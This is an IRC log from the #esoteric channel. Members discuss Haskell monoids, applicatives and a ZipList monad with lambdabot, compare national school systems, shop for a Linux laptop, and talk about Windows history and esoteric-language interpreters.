18:10:22 <Gracenotes> newtype Sum a = Sum {getSum :: a}, for instance
18:10:48 <ehird> pikhq: asiekierka is a year younger than me, iirc
18:10:50 <Gracenotes> the main purpose of the Sum constructor is to wrap something to be a monoid.
18:10:55 <ehird> so that wouldn't really work
18:11:38 <ehird> with the precedent of nooga we could argue that being polish takes a few years off your mental age :-P
18:11:41 <ehird> (at this point, asiekierka mauls me)
18:11:52 <Gracenotes> instance (Num a) => Monoid (Sum a) where
18:12:02 <asiekierka> pikhq: Well, Polish education is just generally progressing slower than US education
18:12:16 <pikhq> Gracenotes: Hmm. Interesa.
18:12:18 <asiekierka> so I'm logically worse at math than a 13-year-old
18:12:27 <asiekierka> and worse at math than an US 12-year-old AFAIK
18:12:29 <pikhq> asiekierka: Polish education progresses slower than US education?
18:12:39 <pikhq> Holy fuck. I thought that that was impossible.
18:12:50 <pikhq> We spend 6 years on arithmetic!
18:13:06 <asiekierka> Then Solidarity came and made Poland free
18:13:42 <pikhq> ... We barely have an educational system.
18:14:00 <pikhq> There are states that have a 50% high-school graduation rate...
18:14:11 <ehird> the UK educational system (pre-university; I don't know about university) is utterly useless after a point
18:14:11 <asiekierka> And we start school (as in, elementary school) at the age of 7
18:14:23 <ehird> probably more destructive than helpful FWIW
18:14:26 <ehird> asiekierka: what happens then?
18:14:40 <Deewiant> School in Finland starts at 7 too, FWIW
18:14:44 <asiekierka> Then you go to a 3-year sort-of secondary school but not quite
18:15:11 <asiekierka> The 3-year part is called "gimnazjum" in Poland
18:15:27 <ehird> it's gymnasium in swedish
18:15:35 <ehird> therefore, poland = sizjdish
18:16:02 <ehird> 05:10:57 <asiekierka> One interesting thing about the Psion Series 3
18:16:02 <ehird> 05:11:01 <asiekierka> is that it uses... SSDs
18:16:07 <ehird> aka pen drive things.
18:16:21 <pikhq> asiekierka: Do you start calculus before university?
18:16:32 <Deewiant> http://en.wikipedia.org/wiki/Education_in_Poland - 6 year elementary, 3 year gymnasium, 3 year liceum
18:16:35 <pikhq> If so, you are better than 90% of the US education system.
18:16:52 <pikhq> If you start *algebra* before than, you're better than 50% of it.
18:17:17 <ehird> 06:55:35 <Warrigal> pikhq: applicative functors? Sounds like there's a Haskell thing I haven't heard of.
18:17:26 <ehird> if you don't know them you probably don't know all that much...
18:17:28 <ehird> about haskell that is.
18:17:33 <Deewiant> Sweden has 9 year elementary followed by 3 year gymnasium, Finland has the 9-year bit split into a 6-year and a 3-year bit
18:17:47 <pikhq> I figured them out in my third day of learning Haskell. Whooo.
18:18:00 <asiekierka> We have the 8-year elementary split into a 6-year elementary and a 3-year gymnasium.
18:18:08 <asiekierka> HOW THE HELL DOES 8 SPLIT INTO 6 AND 3!?
18:18:30 <ehird> pikhq: Yes, but you'll probably be working for Galois and co-authoring type system research papers with Oleg in a week.
18:18:42 <asiekierka> 8 years of elementary and 4 years of liceum
18:18:53 <asiekierka> was split into 6 years of elementary, 3 years of gymansium and 3 years of liceum
18:19:02 <Deewiant> ehird: I didn't know anything at all about applicatives until well after I grokked monads, functors, and somewhat arrows
18:19:11 <Deewiant> And I still don't get them 100%. :-P
18:19:19 <ehird> Deewiant: yes, but "Sounds like there's a Haskell thing I haven't heard of."
18:19:30 <ehird> if you think you know most things about haskell and don't know them...
18:19:58 <ehird> pikhq: from a glance learn you a haskell's functors/applicative functors/monoids section is quite approachable
18:20:05 -!- ais523 has joined.
18:20:07 <ehird> what problem are you having with monads?
18:20:17 <ehird> or did you say you got them now
18:20:44 <pikhq> ehird: Nothing good describing them. "Learn You A Haskell" stops short of that.
18:20:52 <ehird> http://learnyouahaskell.com/functors-applicative-functors-and-monoids
18:20:56 <ehird> maybe I'm imagining that page?
18:21:07 <ehird> that doesn't cover monads
18:21:14 <ehird> Covering monoids without monads? How strange
18:21:36 <pikhq> So, I basically (sorta) get monoids.
18:21:51 <pikhq> But monads are, uh.
18:22:07 <ehird> Maybe if you slowed down you'd do better :P
18:22:23 <pikhq> I hate learning slowly.
18:23:04 <ehird> Learning curve, bitch
18:23:19 <pikhq> And I run against it.
18:24:03 <ehird> So back up a bit and give a good steady acceleration instead of jet-rocket-blasting yourself into it :P
18:24:07 <ehird> (↑ Terrible analogy)
18:25:25 <ehird> Explore the ideas and discoveries of a A New Kind of Science on your own computer with more than 450 key experiments from the book.
18:25:26 <ehird> A New Kind of Science Explorer provides a graphical interface that allows users to replicate experiments from the book and to create new ones by changing inputs and parameters.
18:25:29 <ehird> ↑ guess how much this bullshit costs? £115.
18:25:52 <Gracenotes> pikhq: okay... here are all the instances in the monoid class, with examples :D http://hpaste.org/fastcgi/hpaste.fcgi/view?id=6208#a6208
18:26:27 <Gracenotes> I didn't include examples with the larger tuples, but those should follow from the pair, really..
18:26:40 <ehird> 08:06:43 --- join: ehurd (n=gregor@pal-163-072.itap.purdue.edu) joined #esoteric
18:26:58 <ehird> 08:28:20 <ehurd> It was basically working, but in spite of git's "leaps" and "bounds", it is the most confusing fucking system on earth short of GNU arch and/or bazaar.
18:27:01 <ehird> learning curve bitch
18:27:21 <ehird> 08:31:56 <ehurd> Any git experts want to tell my how to revert ONE file to the version in ... the index? Or the staging area, I guess I haven't staged the file either, but suffice to say the version in the "repository"
18:27:22 <ais523> ehird / ehurd: recursive acronym
18:27:24 <ehurd> ... are you claiming that "learning curve" is an excuse for being obtuse?
18:27:40 <ais523> also, atm I'm finding out that Exchange doesn't like people perm-deleting 405 pages of deleted items all at once
18:27:41 <ehurd> Yes, that has already been told to me.
18:27:44 <ehird> ehurd: i'm claiming that learning curve is fine if the techniques are powerful and usable after you learn them
18:28:08 <ehird> 08:33:00 * pikhq notes that git needs a frontend. 08:33:26 <pikhq> A good one.
18:28:11 <ehird> it has one, it's called git(1)
18:28:20 <Warrigal> ehird: indeed, maybe I don't know much about Haskell.
18:28:22 <ehird> 08:36:15 <ehurd> I'm GregorR-L. ehird complained about people with similar names yesterday.
18:28:24 <ehird> identical actually
18:28:27 <ehird> i keep talking to the wrong person in MSN
18:28:34 <ehird> for some definitions of "keep"
18:28:38 <ehird> i occasionally do it.
18:28:45 <ehird> 08:36:48 <AnMaster> is ehird here?
18:28:45 <ehird> 08:36:54 <AnMaster> since I actually wanted to ask him something
18:28:47 <Warrigal> In other news, are you guys up there saying there's a period of education known as gymnasium?
18:28:52 <ehird> i use a bouncer so you can talk to me while I'm offline.
18:29:10 <AnMaster> ehird, yes. Remember when you helped bsmntbombdood with finding components for his new computer?
18:29:40 <AnMaster> ehird, would you tell me to fuck off if I asked for a little help with finding some stuff?
18:29:52 <Gracenotes> actually I was wrong about the zipWith compare, that's only if they're the same length :)
18:29:59 <ehird> AnMaster: Yes, to keep appearances, but then I'd probably search anyway.
18:30:07 <ehird> Let's get the trolling out of the way: http://apple.com/ LOL
18:30:31 <ehird> AnMaster: Now, uh, if you were more specific, I'd be more likely to act.
18:31:04 * pikhq starts on "Real World Haskell", wonders how much he missed by racing through Haskell.
18:31:18 <ehird> pikhq: it describes monads at some point iirc.
18:31:21 <AnMaster> ehird, laptop that can run linux (wlan card must "just work" for example), has a decent screen size (15" or so), has 64-bit CPU with dual core, either SSD or harddrive (not that important), not *too* bulky (that is why not too large screen).
18:31:27 <AnMaster> cheaper alternative preferred.
18:31:32 <ehird> AnMaster: I'll take a look.
18:31:36 <ehurd> Warrigal: I hear that that's true in some countries, yes.
18:31:48 <pikhq> AnMaster: "Laptop", then.
18:31:50 <ehird> AnMaster: ThinkPads being my first look, since they're renowned for good linux support and also I like the nipple mice.
18:31:51 <AnMaster> ehird, oh and good keyboard. I realise it won't be like model-m
18:32:10 <ehird> AnMaster: So... price range?
18:32:20 <AnMaster> ehird, what currency do you prefer?
18:32:40 <ehurd> `calc 14000 sek in usd
18:32:42 <HackEgo> 14 000 Swedish kronor = 1 786.694 U.S. dollars
18:32:49 <Warrigal> I guess that kind of makes sense.
18:33:02 -!- ehurd has changed nick to GregorR-L.
18:33:23 <ehird> AnMaster: What screen size do you want? 13", 14" or 15"?
18:33:25 <AnMaster> ehurd, and I will use this as a guide line, I haven't any experience when it comes to laptops + linux
18:33:41 <Warrigal> It's apparently a far way from the original root word, "gymnos".
18:33:42 <AnMaster> ehird, 15" sounds good, 17" is too bulky and 14" is too small
18:33:59 <AnMaster> ehird, definitely not 13" I used that before once
18:34:49 <ehird> Kay, I'll take a look.
18:35:36 <ehird> AnMaster: What's the maximum weight you'll put up with? 15"s tend to be ~2.6kg
18:35:41 <GregorR-L> Hm, somehow AnMaster managed to tab-complete wrong only AFTER I'd changed my nick back :P
18:35:55 <AnMaster> ehird, graphics stuff: nvidia preferred currently, but I guess anything that can do basic 3D would work...
18:36:09 <ehird> 13"-14" tends to be 2kg. I dunno where the .6 comes from; guess bigger ones have bulkier hardware for performance.
18:36:10 <AnMaster> ehird, Use case: I'm going to use this laptop at the university when I begin there this autumn
18:36:22 <ehird> AnMaster: it'll probably be Intel embedded graphics, as that's very common.
18:37:01 <AnMaster> ehird, I hope that can do basic 3D? Since one of the courses will include (basic) 3D programming.
18:37:10 <AnMaster> so yes I'm going to dual boot it probably.
18:37:10 <ehird> AnMaster: Anything can do 3D with software rendering.
18:37:20 <AnMaster> ehird, question is how usable that is.
18:37:31 <ehird> AnMaster: Anyway, Intel GPUs can do 3D, yes.
18:37:40 <AnMaster> ehird, right, that works fine then.
18:37:50 <pikhq> AnMaster: Swedish kronor? Oh, right. Sweden is one of those non-€ holdouts.
18:38:04 <ehird> AnMaster: Like all sane people, I assume you prefer matte screens over "Gee, I Can't See This Because There Is More Than Zero Light Sources" glossy ones?
18:38:44 <ehird> Right then, I'll poke around.
18:38:51 <AnMaster> ehird, and I seen the glossy ones, you would think they would be easier to wipe off. Wrong.
18:38:58 <ehird> Yeah, glossy screens suck
18:39:02 <pikhq> Jeeze, glossy screens. Who the hell likes them?
18:39:23 <AnMaster> ehird, only reason I would use a glossy one, was if it was actually easier to wipe off any dust.
18:39:47 <AnMaster> also iirc you get better colours on them, assuming no other light sources of course
18:40:17 <pikhq> If you care much about colors, you've got a CRT.
18:40:22 <CESSMASTER> or maybe fingerprints are just easy to see on 'em
18:40:31 <ehird> You can get good coloured LCDs.
18:40:45 <pikhq> Also, glossy displays apparently tend to *exaggerate* colors and shade.
18:41:04 <pikhq> Making them unsuitable for use where you care about colors.
18:41:17 * ehird moves anmasterlaptopblah to /msg.
18:42:17 <ehird> AnMaster is away: sleeping, if his client is to be believed.
18:46:26 -!- deveah[1] has joined.
18:53:33 -!- asiekierka has quit.
18:53:38 * GregorR-L wonders what the first "a" stands for in "aa". Alternatively, what the second stands for, if the first stands for "away"
18:59:26 -!- deveah[2] has joined.
19:00:18 -!- oerjan has joined.
19:01:14 -!- deveah has quit (Read error: 110 (Connection timed out)).
19:01:51 <pikhq> Note that saying "What, it's applicative functors getting you? It's just a monad." doesn't help when you don't get monads. :P
19:03:00 <GregorR-L> Ah, allserver. A word I'm familiar with :P
19:03:03 <oerjan> pikhq: i was sort of wrongly deducing that since you afair had heard of monads and that _didn't_ break your brain, applicatives wouldn't either
19:03:53 <Gracenotes> pikhq: but I take it you do grok monoids, based on what I showed you
19:04:10 <Gracenotes> they're minor, but yet another good categorical structure to know
19:05:10 <pikhq> Gracenotes: Monoids don't seem all that difficult, so... Yeah.
19:05:30 <Gracenotes> well. applicative functors are basically taking things out of their shell, applying them, and putting them back into said shell >_>
19:06:02 <pikhq> It was mindboggling at midnight.
19:06:09 <pikhq> I slept on it and get it now.
19:06:11 <Gracenotes> at least for applicative functors that are good container-like things
19:06:35 <Gracenotes> most importantly, they sequence things
19:07:27 <oerjan> also i have seen so few applicatives that aren't usually extended right on to monads, the only one coming to mind is ZipList (and i recall concluding even those _had_ a monad extension in principle)
19:07:43 <pikhq> I get that (+) <$> [0,1,2] gets you [(0+),(1+),(2+)] now, and that <*> lets you apply *that* to some other functor...
19:08:26 <pikhq> Bit crazy having a list of functions, but hey.
19:08:45 <oerjan> pikhq: but can be useful
19:08:52 <Gracenotes> it is impossible to write a >>=/return such that ap == <*>
19:09:00 <pikhq> oerjan: Crazy in the way that having a list of all the primes is crazy.
19:09:07 <oerjan> Gracenotes: i concluded it was _not_ impossible
19:09:19 <oerjan> it's just very different from the usual one
19:09:38 <oerjan> return = repeat instead of (:[]), for one thing
19:10:21 <Gracenotes> (:[]) (:[]) (:[]) (:[]) (:[]) (:[]) (:[]) (:[])
19:10:33 <ehird> infinite list monad, eh?
19:10:36 <oerjan> it may have had some trouble with bottoms that i didn't discover, of course
19:11:33 <Gracenotes> does it follow: return a >>= f == f a?
19:13:12 <oerjan> i tried to define it so it did, but i may have messed up
19:13:45 <oerjan> join was taking the diagonal, but only if all previous sublists had sufficient length for it
19:14:10 <oerjan> (i mean, at least the length out to that diagona)
19:14:52 <oerjan> now what would >>= be, hm
19:15:27 <oerjan> l >>= f = join (fmap f l)
19:16:12 <oerjan> fmap = map, since the functor instances agree (parametricity makes it hard/impossible to have more than one Functor instance)
19:16:27 -!- deveah[1] has quit (Read error: 110 (Connection timed out)).
19:16:32 <Gracenotes> I'm pretty sure fmap [] has one sane instance :)
19:17:13 -!- upyr[emacs] has quit (Read error: 54 (Connection reset by peer)).
19:17:36 <oerjan> m >>= return = join (map repeat m) = m
19:17:38 -!- upyr[emacs] has joined.
19:18:52 <oerjan> since repeat is infinite, the sublists are always long enough
19:19:47 <oerjan> return a >>= f = join (map f (repeat a)) = join (repeat (f a))
19:21:34 <Deewiant> > join (repeat ((++"bar") "foo")
19:21:35 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
19:21:38 <Deewiant> > join (repeat ((++"bar") "foo"))
19:21:40 <lambdabot> "foobarfoobarfoobarfoobarfoobarfoobarfoobarfoobarfoobarfoobarfoobarfoobarfo...
19:21:43 <oerjan> it's not the usual join
19:21:59 <oerjan> it's taking the diagonal, with some length restrictions
19:25:04 <augur> how is that not the usually join?
19:25:44 <oerjan> > join [[1,2,3],[4,5,6],[7,8,9]]
19:25:52 <oerjan> not much diagonal there...
19:26:21 <ais523> what's lambdabot doing here?
19:26:33 <augur> flattening lists once.
19:26:54 <augur> > repeat ((++ "bar") "foo")
19:26:56 <lambdabot> ["foobar","foobar","foobar","foobar","foobar","foobar","foobar","foobar","f...
19:27:10 <lambdabot> Maximum users seen in #esoteric: 51, currently: 49 (96.1%), active: 10 (20.4%)
19:27:28 <oerjan> @let zjoin [] = []; zjoin ([]:_) = []; zjoin ((x:r):rr) = x : zjoin (r : map (zipWith (flip const r) . drop 1) rr)
19:27:29 <lambdabot> Couldn't match expected type `[t]'
19:27:37 <augur> oerjan, i dont see how lambdabot isnt doing a normal join...
19:27:43 <oerjan> a little too much to hope for
19:28:12 <oerjan> augur: i'm talking about a theoretical Monad instance for ZipList, lambdabot doesn't have it
19:28:25 -!- augur has quit ("Leaving...").
19:30:23 <oerjan> @let zjoin :: [[a]] -> [a]; zjoin [] = []; zjoin ([]:_) = []; zjoin ((x:r):rr) = x : zjoin (r : map (zipWith (flip const r) . drop 1) rr)
19:30:24 <lambdabot> Couldn't match expected type `[a]'
19:30:53 <oerjan> oh wait it's wrong anyhow
19:31:16 -!- M0ny has joined.
19:31:52 <oerjan> @let zjoin :: [[a]] -> [a]; zjoin [] = []; zjoin ([]:_) = []; zjoin ((x:r):rr) = x : zjoin (map (zipWith (flip const) r . drop 1) rr)
19:32:10 <oerjan> > zjoin [[1,2,3],[4,5,6],[7,8,9]]
19:32:19 <oerjan> > zjoin [[1,2],[4,5,6],[7,8,9]]
19:32:31 -!- augur has joined.
19:33:07 <oerjan> > zjoin (repeat ['a'..'z'])
19:33:55 <oerjan> @let zbind m f = zjoin (map f m)
19:35:15 <oerjan> @quickcheck \a f -> (repeat a `zbind` f) === (f (a :: Int) :: Int)
19:35:26 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
19:35:35 <oerjan> @check \a f -> (repeat a `zbind` f) === (f (a :: Int) :: Int)
19:35:36 <lambdabot> Not in scope: `zbind'Not in scope: `==='
19:35:59 <lambdabot> You have QuickCheck and 3 seconds. Prove something.
19:36:33 <oerjan> i distinctly recall them fixing it so @check loads @let definitions, they must have undone it
19:38:01 <oerjan> that's the functions the Monad instance would use, anyhow (at least one possibility)
19:38:53 <oerjan> i don't think it used to add quotes to that...
19:39:15 <pikhq> It didn't even test once? Lame. :P
19:40:35 <lambdabot> "Falsifiable, after 0 tests:\n()\n"
19:41:41 <lambdabot> "Falsifiable, after 0 tests:\n-2\n"
19:42:02 <oerjan> ok so it uses ordinary == for functions
19:44:15 <oerjan> that's equivalent to @check \x -> x == x
19:45:08 <oerjan> (your exercise is to find out why that passes :D)
19:46:55 <pikhq> @check (==) == (==)
19:46:56 <lambdabot> No instance for (GHC.Classes.Eq (a -> a -> GHC.Bool.Bool))
19:47:22 <oerjan> alas, that didn't work anyhow
19:47:31 <oerjan> === is what i thought did that
19:47:45 <pikhq> Apparently functions aren't Eq.
19:47:59 <Deewiant> How would you decide whether two are equal
19:48:08 <ehird> it can detect main=main already!
19:48:16 <pikhq> Halting oracle. :D
19:48:23 <ehird> the nice thing about a halting oracle is that it's an everything oracle
19:48:32 <ehird> halts? (if riemann then halt else loop)
19:48:45 <ehird> Since it's defined to run in finite time.
19:49:05 <Slereah_> Halting oracle isn't everything oracle, though
19:49:14 <Slereah_> You can't predict if oracle program will halt
19:49:50 <pikhq> Slereah_: It's an everything-computable oracle.
19:50:02 <pikhq> The oracle itself is, of course, not computable.
19:54:01 <ehird> pikhq: don't confuse turing with computable
19:54:13 <ehird> we have no idea if there are higher levels that are implementable
19:54:16 <ehird> it just doesn't seem likely
19:54:29 <Slereah_> ehird : dude, even Turing isn't implementable
19:54:50 <ehird> Sure is with infinite space
19:55:10 <pikhq> Could've sworn a UTM by definition can compute everything that is computable.
19:55:27 <oerjan> i think usually computable means turing computable in today's technical language, you would use something like "effectively" if you meant something else
19:55:56 <Slereah_> Infinite space and infinite durability
19:56:32 <oerjan> urm wait effectively may mean polynomially, too, iirc
19:56:45 <Gracenotes> people have taken steps to formalizing Church-Turing lately
19:57:06 <Gracenotes> like always :P there was a google techtalk on it
19:57:08 <pikhq> Slereah_: And infinite time.
19:57:08 <ehird> 19:55 pikhq: Could've sworn a UTM by definition can compute everything that is computable.
19:57:21 <ehird> i think a TM-halting-checker is acceptable as long as it isn't exposed to the TM itself
19:57:35 <ehird> so a super-turing machine with a TM emulator that lets you check halting is perfectly acceptable
19:57:38 <Slereah_> pikhq : Well, infinite time shouldn't be a problem
19:57:45 <Slereah_> It's the durability that's the problem
19:59:51 -!- FireFly has quit ("Later").
20:01:45 <oerjan> s/<ehird> i think/<ehird> the esolangs wiki has at least two languages (banana scheme and brainhype) based on the fact that/
20:02:21 <ehird> a halting exposed to the program being checked is pointless anyway
20:02:26 -!- M0ny has quit.
20:02:31 <ehird> so the halting problem isn't really real-world relevant
20:03:26 <Gracenotes> from what I can tell, people love bringing up the halting problem and turing-equivalence when it's totally irrelevant to the conversation, just to be an annoying show-off
20:03:59 <Gracenotes> well, not totally irrelevant. but just irrelevant, like so what.
20:04:05 <ehird> ALL TURING-COMPLETE LANGUAGES ARE EQUALLY EXPRESSIVE BECAUSE THEY'RE ISOMORPHIC HURRRRRRRRR
20:04:22 <GregorR-L> <ehird> the esolangs wiki has at least two languages (banana scheme and brainhype) based on the fact that bsmntbombdood did one statement python
20:04:45 <ehird> GregorR-L: selective line selection eh
20:04:47 <oerjan> Gracenotes: i think that applies to any awesome but rarely understood science, like relativity and quantum mechanics for example...
20:05:14 <oerjan> (hm, is this irrelevant? ;D)
20:05:33 <GregorR-L> It also applies to "your mom" jokes.
20:08:04 * oerjan now knows how to quickly kill conversations
20:08:10 <Gracenotes> ah. Browsing tvtropes—super way to kill time
20:08:20 <oerjan> that's not killing time.
20:11:08 <GregorR-L> I made a bet yesterday that there would be a video on YouTube of Obama flapping his ears and flying away, but we couldn't find one so I lost :(
20:11:18 <ehird> you should have made one on the spot
20:11:42 <GregorR-L> It was a gentlemen's bet ... that means that there's no money, but it also means you're not a dick about it.
20:12:34 <pikhq> Windows still has the Program Manager. Why does it still have the Program Manager?
20:13:05 <GregorR-L> Uhh, I thought that was dropped in Vista.
20:13:28 <ais523> pikhq: probably some people still use it
20:13:38 <oerjan> <pikhq> (+) <*> [1..10], of course, is (in psuedo-Haskell) [1+,2+,..,9+,10+] <-- in perfectly legal haskell, [(1+),(2+),(3+),(4+),(5+),(6+),(7+),(8+),(9+),(10+)]
20:13:38 <ais523> there are probably enterprise applications years old that require it to function properly
20:13:46 <pikhq> GregorR-L: Still in XP, though.
20:13:46 <Deewiant> It was dropped from Vista, and made a frontend for other programs in XP SP2
20:13:54 <lambdabot> Couldn't match expected type `a -> a' against inferred type `[a1]'
20:13:57 <GregorR-L> It was for compatibility with installing menus. You'd call progman with some certain flags to add menus.
20:14:03 <Deewiant> pikhq: The original was dropped in SP2.
20:14:08 <GregorR-L> But then progman on later Windowses would just convert those into the start menu.
20:14:16 * pikhq tries executing...
20:14:25 <pikhq> Sure enough. progman doesn't start up.
20:14:31 <pikhq> Probably still has support for adding menus, though.
20:14:45 <oerjan> oh actually that should be <$> not <*>
20:15:00 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a)
20:15:17 <ais523> what a weird error message...
20:15:26 <pikhq> Which just goes to show: Windows should not have kept anything from Win16.
20:15:42 <pikhq> oerjan: Functions aren't part of show, I don't think.
20:15:45 <oerjan> ais523: they had a way to show functions at one point, algebraically
20:15:50 <ais523> it should have kept the ability to make beeps of various pitches through the system speaker
20:15:59 <oerjan> pikhq: lambdabot added a sort of algebraic functions module
20:16:05 <lambdabot> Overlapping instances for GHC.Show.Show (t -> t)
20:16:24 <ais523> I'm still annoyed they removed the tuned-beeps-through-speaker API call
20:16:25 <oerjan> but they must have added something else that conflicts with it, thus the overlap
20:16:26 <pikhq> ais523: I'm saying that Win32 should've been a different API.
20:16:31 <ais523> it was deprecated even in Windows 3, though
20:16:42 <ais523> still worked on Windows 95, but not on XP
20:16:42 <pikhq> And not Win16 with size_t(void *) == 4.
20:16:43 <ehird> 20:16 ais523: I'm still annoyed they removed the tuned-beeps-through-speaker API call ← just do it directly :p
20:16:49 <ais523> ehird: how, in Windows?
20:17:02 <pikhq> DOS thunk, I'd imagine.
20:17:04 <ehird> ais523: you can disable kernel protection functions in userspace in windows
20:17:12 <ehird> i'm sure you can get direct access to the computer speaker
20:17:18 <ais523> ehird: I didn't like messing with that sort of thing, though
20:17:25 <oerjan> > (+) <$> [1..10 :: Int]
20:17:25 <ehird> pikhq: yeah; you can't tamper with other process's memory... unless you tell it to let you.
20:17:26 <lambdabot> Overlapping instances for GHC.Show.Show
20:17:34 <ais523> pikhq: in Vista, it prompts the user when you try that nowadays
20:17:42 <oerjan> > (+) <$> [1..10 :: Expr]
20:17:43 <ais523> although doesn't really explain to the user why
20:17:44 <lambdabot> Overlapping instances for GHC.Show.Show
20:17:44 <ehird> ais523: yes, but it does that on every system call :P
20:17:45 <Deewiant> The error message is due to the fact that lambdabot has too much stuff installed and instances are global.
20:17:56 <Deewiant> There are two instances of Show defined for functions
20:17:57 <ais523> ehird: I know, that's why the protection is relatively useless
20:18:09 <Deewiant> One from a package which implements it and another from smallcheck
20:18:09 <pikhq> So, what you're saying is that someone could implement loadlin for Vista.
20:18:18 * pikhq senses a virus in store.
20:18:37 <oerjan> Deewiant: oh. i recall them making sure those were separate includes at one time. that must have been removed too
20:18:45 <pikhq> ehird: loadlin itself worked for non-Nt Windows.
20:18:48 <Deewiant> The smallcheck one requires (Serial a, Show a, Show b); the show one requires (Typeable a, Typeable b)
20:18:50 <ehird> we need a crazy billionaire to buy out microsoft and force them to migrate everyone to ubuntu
20:18:56 <ehird> the world will become a better place overnight
20:19:04 <Deewiant> Maybe if you find something that only matches one of those two it'll work :-)
20:19:16 <pikhq> (since you could tell Windows to run a DOS program above the kernel.
20:20:41 -!- zzo38 has joined.
20:21:47 <lambdabot> Overlapping instances for GHC.Show.Show
20:22:04 <Deewiant> I guess it doesn't have -XOverlappingInstances on
20:22:13 <zzo38> Computers and printers - video about news and printers and scanners, computers, monitors. New products mouse and keyboards, computers. And printers.
20:22:31 <zzo38> Challenge: Write Unlambda interpreter or brainfuck interpreter in sendmail or Furryscript.
20:22:43 <oerjan> Deewiant: it is probably free type variables on the right side of the instance, which means it'll overlap regardless
20:22:56 <zzo38> OK, let me check the logs.
20:23:06 <Deewiant> > M.lookup 1 :: M.Map Int Int -> Maybe Int
20:23:07 <lambdabot> Overlapping instances for GHC.Show.Show
20:23:29 <pikhq> zzo38: Possible, but challenging.
20:23:36 <oerjan> a more specific Show on the right side might work with OverlappingInstances
20:23:47 <Deewiant> oerjan: Yeah, they'll overlap, but I thought some extension allowed for that to work anyway
20:24:01 <Deewiant> I.e. looking at the left side instead of the right
20:24:12 <Deewiant> I guess I misremembered; I'm feeling that's unlikely
20:24:34 <oerjan> Deewiant: the instance lookup only looks at the right side. the extension is for allowing conflicting right sides as long as one is more specific
20:24:42 <oerjan> (overlapping instances)
20:24:55 <oerjan> unless they added it after my time (about a year ago)
20:25:02 <Deewiant> And I doubt there's any other extension that allows that
20:25:04 <ais523> zzo38: writing an Unlambda interp in /sendmail/?
20:25:18 <ais523> a language which is traditionally hard to implement, in a language which is traditionally impossible to write in without a preprocessor
20:25:27 <zzo38> Yes, writing unlambda interpreter in sendmail. Is it possible?
20:25:38 <oerjan> Deewiant: i recall it being essential for the system to work
20:25:43 <ais523> I doubt anyone's mad enough to try, even in this channel
20:26:04 <zzo38> What about brainfuck in sendmail?
20:26:24 <zzo38> Well, I'm going to try brainfuck in Furryscript.
20:26:44 <ais523> Deewiant: yep, compared to many other esolangs at least
20:26:54 <ais523> it's not too bad if you have first class continuations, then you only have to worry about d
20:27:28 <ais523> basically, the design of Unlambda is such that c messes up attempts to implement it in imperative langs, and d messes up attempts to implement it in functional langs
20:27:34 <oerjan> it's not too bad if you think of it as tree writing either
20:27:39 <zzo38> I wrote a program compiles unlambda codes into JavaScript codes, once, but I can't get "c" to work ("d" works OK, though)
20:28:06 <ais523> it's not really either c or d that causes the problems
20:28:11 <ais523> it's trying to implement both at once
20:29:30 <oerjan> ais523: btw i did d functionally in ocaml by having functions take an expression argument to evaluate
20:30:05 <zzo38> Describe lambdabot? I got a list of commands but it doesn't explain what the commands means.
20:30:14 <zzo38> Also, is there a paste bin for this channel?
20:30:17 <ais523> zzo38: it evaluates haskell
20:30:25 <ais523> and this channel doesn't have a pastebin of its own
20:30:35 <ais523> you can use any of the established ones
20:30:42 <zzo38> So, if I send a Haskell program to it will it run the program?
20:31:25 <zzo38> O, just one expression. I guess it can't be longer than the maximum message length anyways
20:31:56 <oerjan> egobot, on the other hand, now does whole programs (and also expressions) but it has no automatic imports like lambdabot has so can be awkward for small things
20:32:44 -!- tombom has joined.
20:33:09 <oerjan> zzo38: also you can do @help command
20:33:22 <oerjan> it does private messages too
20:33:25 <zzo38> So, it there is a program for egobot at http://example.org/example_program then would the command be: PRIVMSG egobot :http://example.org/example_program
20:33:28 <lambdabot> show all commands or command for [module]. http://code.haskell.org/lambdabot/COMMANDS
20:34:05 <zzo38> What's the syntax?
20:34:33 <oerjan> it's !haskell http://... for haskell programs
20:34:51 <zzo38> My unlambda -> JavaScript: http://pastebin.com/m3dc1f2c9 (it doesn't do "c" properly because it only works one way, not both ways)
20:34:53 <oerjan> see !help languages for other language options
20:35:03 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
20:35:19 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney ctcp dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck reverse rot13 sadbf sfedeesh sffedeesh sffffedeesh sffffffffedeesh slashes svedeesh swedish valspeak warez yodawg
20:36:18 <oerjan> and the last ones are implemented in the former. GregorR-L wants to allow those to be used recursively to implement others, but i don't think he has decided how yet
20:36:39 <oerjan> but all can take URLs for basic programs
20:36:45 <GregorR-L> Moreover I've lazied away from actually implementing any of it :P
20:36:55 <zzo38> Can thing be added that don't require URL, can FlogScript be added, too? It needs PHP to do so.
20:37:46 <oerjan> zzo38: URL is just for EgoBot to know the program file. but i don't see php included yet.
20:37:54 <zzo38> O, and what Forth does it use, and what asm is it using? And what does "sffedeesh" "sffffedeesh" etc means
20:38:03 -!- deveah[2] has quit ("MUHAHAHAH!!!1111").
20:38:06 <EgoBot> Sorry, I have no help for asm!
20:38:15 <EgoBot> Sorry, I have no help for forth!
20:38:27 <zzo38> Can single-line programs be run in EgoBot? If so is there a different syntax for it (such as omitting the ! or giving a different prefix)
20:38:53 <oerjan> zzo38: sffedeesh and so on are just funny renamings of swedish
20:39:13 <zzo38> That's what it does.
20:39:26 <oerjan> it's a swedish chef translator
20:39:41 <oerjan> many of the userinterps are just jokes, not all though
20:39:53 <zzo38> So, do you think http://pastebin.com/m3dc1f2c9 is a complete unlambda interpreter except for the "c" command?
20:41:31 <oerjan> zzo38: also, anything that doesn't look like a URL with http:// is interpreted as a single line program
20:41:56 <zzo38> I have found out some things,!forth $ff . gives 255 so it is a Forth system that support different base without switching (most modern Forth systems do that, doesn't it?).
20:42:08 <zzo38> O, so FTP can't be used?
20:42:36 <zzo38> I know I tried and it does accept single-line programs with the same syntax as URLs
20:42:36 <oerjan> i don't think so, can ftp be used GregorR-L ?
